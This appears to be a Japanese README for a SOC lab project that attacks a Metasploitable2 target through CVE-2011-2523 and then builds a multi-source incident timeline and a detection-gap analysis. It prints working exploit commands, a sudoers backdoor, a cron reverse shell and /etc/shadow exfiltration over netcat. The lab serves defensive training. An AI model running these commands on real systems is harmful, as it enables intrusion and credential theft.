
エンドツーエンドのSOC調査:CVE-2011-2523キルチェーン、複数ソースのログ相関、インシデントレポート — MITRE ATT&CK T1190
Metasploitable2に対して完全な4フェーズの攻撃チェーン(偵察 → 悪用 → 永続化 → 外部送信)を実行し、各フェーズで証拠を収集して、構造化されたインシデントタイムラインとSOCレポートを生成します — 攻撃者と防御者の両方の視点を同時に示します。
これはキャップストーンプロジェクトです。以下の能力を実証します:
使用されたエクスプロイト(CVE-2011-2523 — vsftpd 2.3.4バックドア)は歴史的に重要な意味を持ちます: これは、攻撃者がオープンソースのvsftpdパッケージソースリポジトリにバックドアを注入したサプライチェーン攻撃でした。
╔═══════════════════════════════╗
║ soc-lab (172.23.0.0/24) ║
║ ║
┌─────────────┐ ║ ┌─────────────────────────┐ ║
│ Attacker │ ║ │ Metasploitable2 │ ║
│ Kali Linux │ ║ │ 172.23.0.200 │ ║
│ │ ║ │ │ ║
│ Phase 1 │─────╫─►│ :21 vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│ nmap -A │ ║ │ :22 SSH │ ║ backdoor on :6200
│ │ ║ │ :80 HTTP (DVWA) │ ║
│ Phase 2 │─────╫─►│ :445 Samba │ ║
│ msf exploit│◄────╫──│ :6200 root shell │ ║
│ │ ║ └─────────────────────────┘ ║
│ Phase 3 │─────╫─► useradd sysbackup ║
│ persistence│─────╫─► crontab reverse shell ║
│ │ ║ ║
│ Phase 4 │◄────╫── /etc/shadow via nc :5555 ║
│ exfiltration ╚═══════════════════════════════╝
└──────┬──────┘
│
│ Evidence collection:
│ logs/msf_session.log
│ logs/target_auth.log
│ captures/full_attack_chain.pcap (tshark CSV)
▼
┌──────────────────────────────────────────────────┐
│ build_timeline.py │
│ Parser: MSF log + auth.log + tshark CSV │
│ → merge by timestamp → tag by phase │
│ → JSON timeline + Markdown incident report │
└──────────────────────────────────────────────────┘
cd docker/
# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable
# Verify target is reachable
nmap -p 21,22,80 172.23.0.200
# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
-w captures/full_attack_chain.pcap &
nmap -sV -O -A \
-p 21,22,80,139,445,3306,5432 \
--script=banner,ftp-anon,http-title \
-oX logs/recon_scan.xml \
172.23.0.200
主な発見: 21/tcp open ftp vsftpd 2.3.4
# Method A: Metasploit
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS 172.23.0.200;
set PAYLOAD cmd/unix/interact;
run" | tee logs/msf_session.log
# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)
この仕組み: vsftpd 2.3.4が部分文字列 :) を含むユーザー名を受信すると、デーモンはTCPポート6200にバインドされた execl("/bin/sh",...) を実行します。認証は不要で、直接ルートシェルが得られます。
# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt
# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555
# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
# Build timeline from all sources
python3 src/build_timeline.py \
--msf-log logs/msf_session.log \
--auth-log logs/target_auth.log \
--pcap-csv captures/full_attack_chain_packets.csv \
--output-json samples/timeline.json \
--output-md docs/incident_report.md \
--pretty
build_timeline.py のstderr2026-04-24T16:05:20 [INFO ] Parsed 9 events from MSF log
2026-04-24T16:05:20 [INFO ] Parsed 11 events from auth.log
2026-04-24T16:05:20 [INFO ] Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20 [INFO ] Total events (sorted): 24
2026-04-24T16:05:20 [INFO ] Unique IOCs extracted: 4
2026-04-24T16:05:20 [INFO ] Phase RECON : 8 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20 [INFO ] Phase PERSIST : 6 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXFIL : 2 event(s)
samples/sample_timeline.json からの抜粋){
"total_events": 24,
"iocs": [
{ "indicator": "172.23.0.1", "phase": "RECON", "occurrence": 8 },
{ "indicator": "172.23.0.1", "phase": "EXPLOIT", "occurrence": 2 },
{ "indicator": "sysbackup", "phase": "PERSIST", "occurrence": 1 }
],
"timeline": [
{ "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON", "description": "nmap -sV -O -A", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
{ "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL", "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
]
}
これは最も重要な分析出力です — 適切な検知がない場合に見逃されたであろうものを示します。
重要な発見: vsftpd 2.3.4エクスプロイトはログインサブシステムをバイパスするため、auth.logにエントリを残しません。唯一のログ証拠は、その後のポート6200へのTCP接続であり、ネットワークテレメトリなしでは見えません。エンドポイントログだけではこの攻撃クラスを検知できません。
04-soc-investigation/
├── src/
│ ├── build_timeline.py # Multi-source log merger + phase tagger
│ └── run_attack_chain.sh # Step-by-step attack chain with exact commands
├── configs/
│ └── splunk_detection_rules.spl # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│ └── sample_timeline.json # Example incident timeline JSON
├── docker/
│ └── docker-compose.yml # Metasploitable2 isolated target
├── docs/
│ └── incident_report.md # Generated SOC report (build_timeline.py --output-md)
└── screenshots/
| ツール | 用途 |
|---|
| Metasploitable2 | 意図的に脆弱なLinuxターゲット |
| Nmap 7.94 | フェーズ1: サービス列挙 |
| Metasploit 6.x | フェーズ2: vsftpd 2.3.4エクスプロイト |
| Netcat | フェーズ3〜4: 永続化 + 外部送信 |
| tshark | 全フェーズにわたるパケットキャプチャ |
| Python 3 | build_timeline.py — 複数ソースのログマージャ |
| Splunk Free / ELK | フェーズ別SIEM検知 |
| フェーズ | 生ログの証拠 | SIEMルールで検知 | カバレッジなしで見逃すもの |
|---|
| RECON | PCAP: 24ポートへのSYNフラッド | ポートスイープルール(20ポート/10秒超) ✓ | 低速スキャン(-T1): レートしきい値を完全に回避 |
| EXPLOIT | PCAP: :6200への新しい接続 · auth.logエントリなし | ポート:6200の異常ルール ✓ | 攻撃者が:80でHTTPエクスプロイトを使用した場合 — ポート異常なし |
| PERSIST | auth.log: new user: name=sysbackup | 新規ユーザー作成アラート ✓ | /etc/passwd の直接編集: auditdなしではログがゼロ |
| EXFIL | PCAP: :5555での4KBの送信 | 非標準ポート + サイズルール ✓ | DNS外部送信(TXTレコード): ボリュームルールを完全にバイパス |
| 制限事項 | 影響 | 対策 |
|---|
| vsftpd 2.3.4は2011年の脆弱性 | 現代のエクスプロイトを代表しない | 代替エクスプロイトシナリオとしてEternalBlue(MS17-010)を追加 |
build_timeline.pyはキーワード分類を使用 | 一部のイベントを誤分類する | ラベル付きログデータで軽量なNLP分類器を学習させる |
| エンドポイント検知(EDR)なし | ファイルレベルの永続化(authorized_keys)を捕捉しない | ターゲットにWazuhまたはElastic Agentを追加 |
| 手動の攻撃チェーン実行 | 対話的な介入なしでは再現不可能 | Metasploitリソーススクリプトでフェーズ2〜4を自動化 |
| 参考情報 | ID / リンク |
|---|
| CVE-2011-2523 — vsftpd 2.3.4バックドア | https://nvd.nist.gov/vuln/detail/CVE-2011-2523 |
| MITRE ATT&CK — 公開アプリケーションの悪用 | T1190 |
| MITRE ATT&CK — アカウント作成: ローカルアカウント | T1136.001 |
| MITRE ATT&CK — スケジュールされたタスク/ジョブ: Cron | T1053.003 |
| MITRE ATT&CK — C2チャネル経由の外部送信 | T1041 |
| MITRE ATT&CK — 有効なアカウント | T1078 |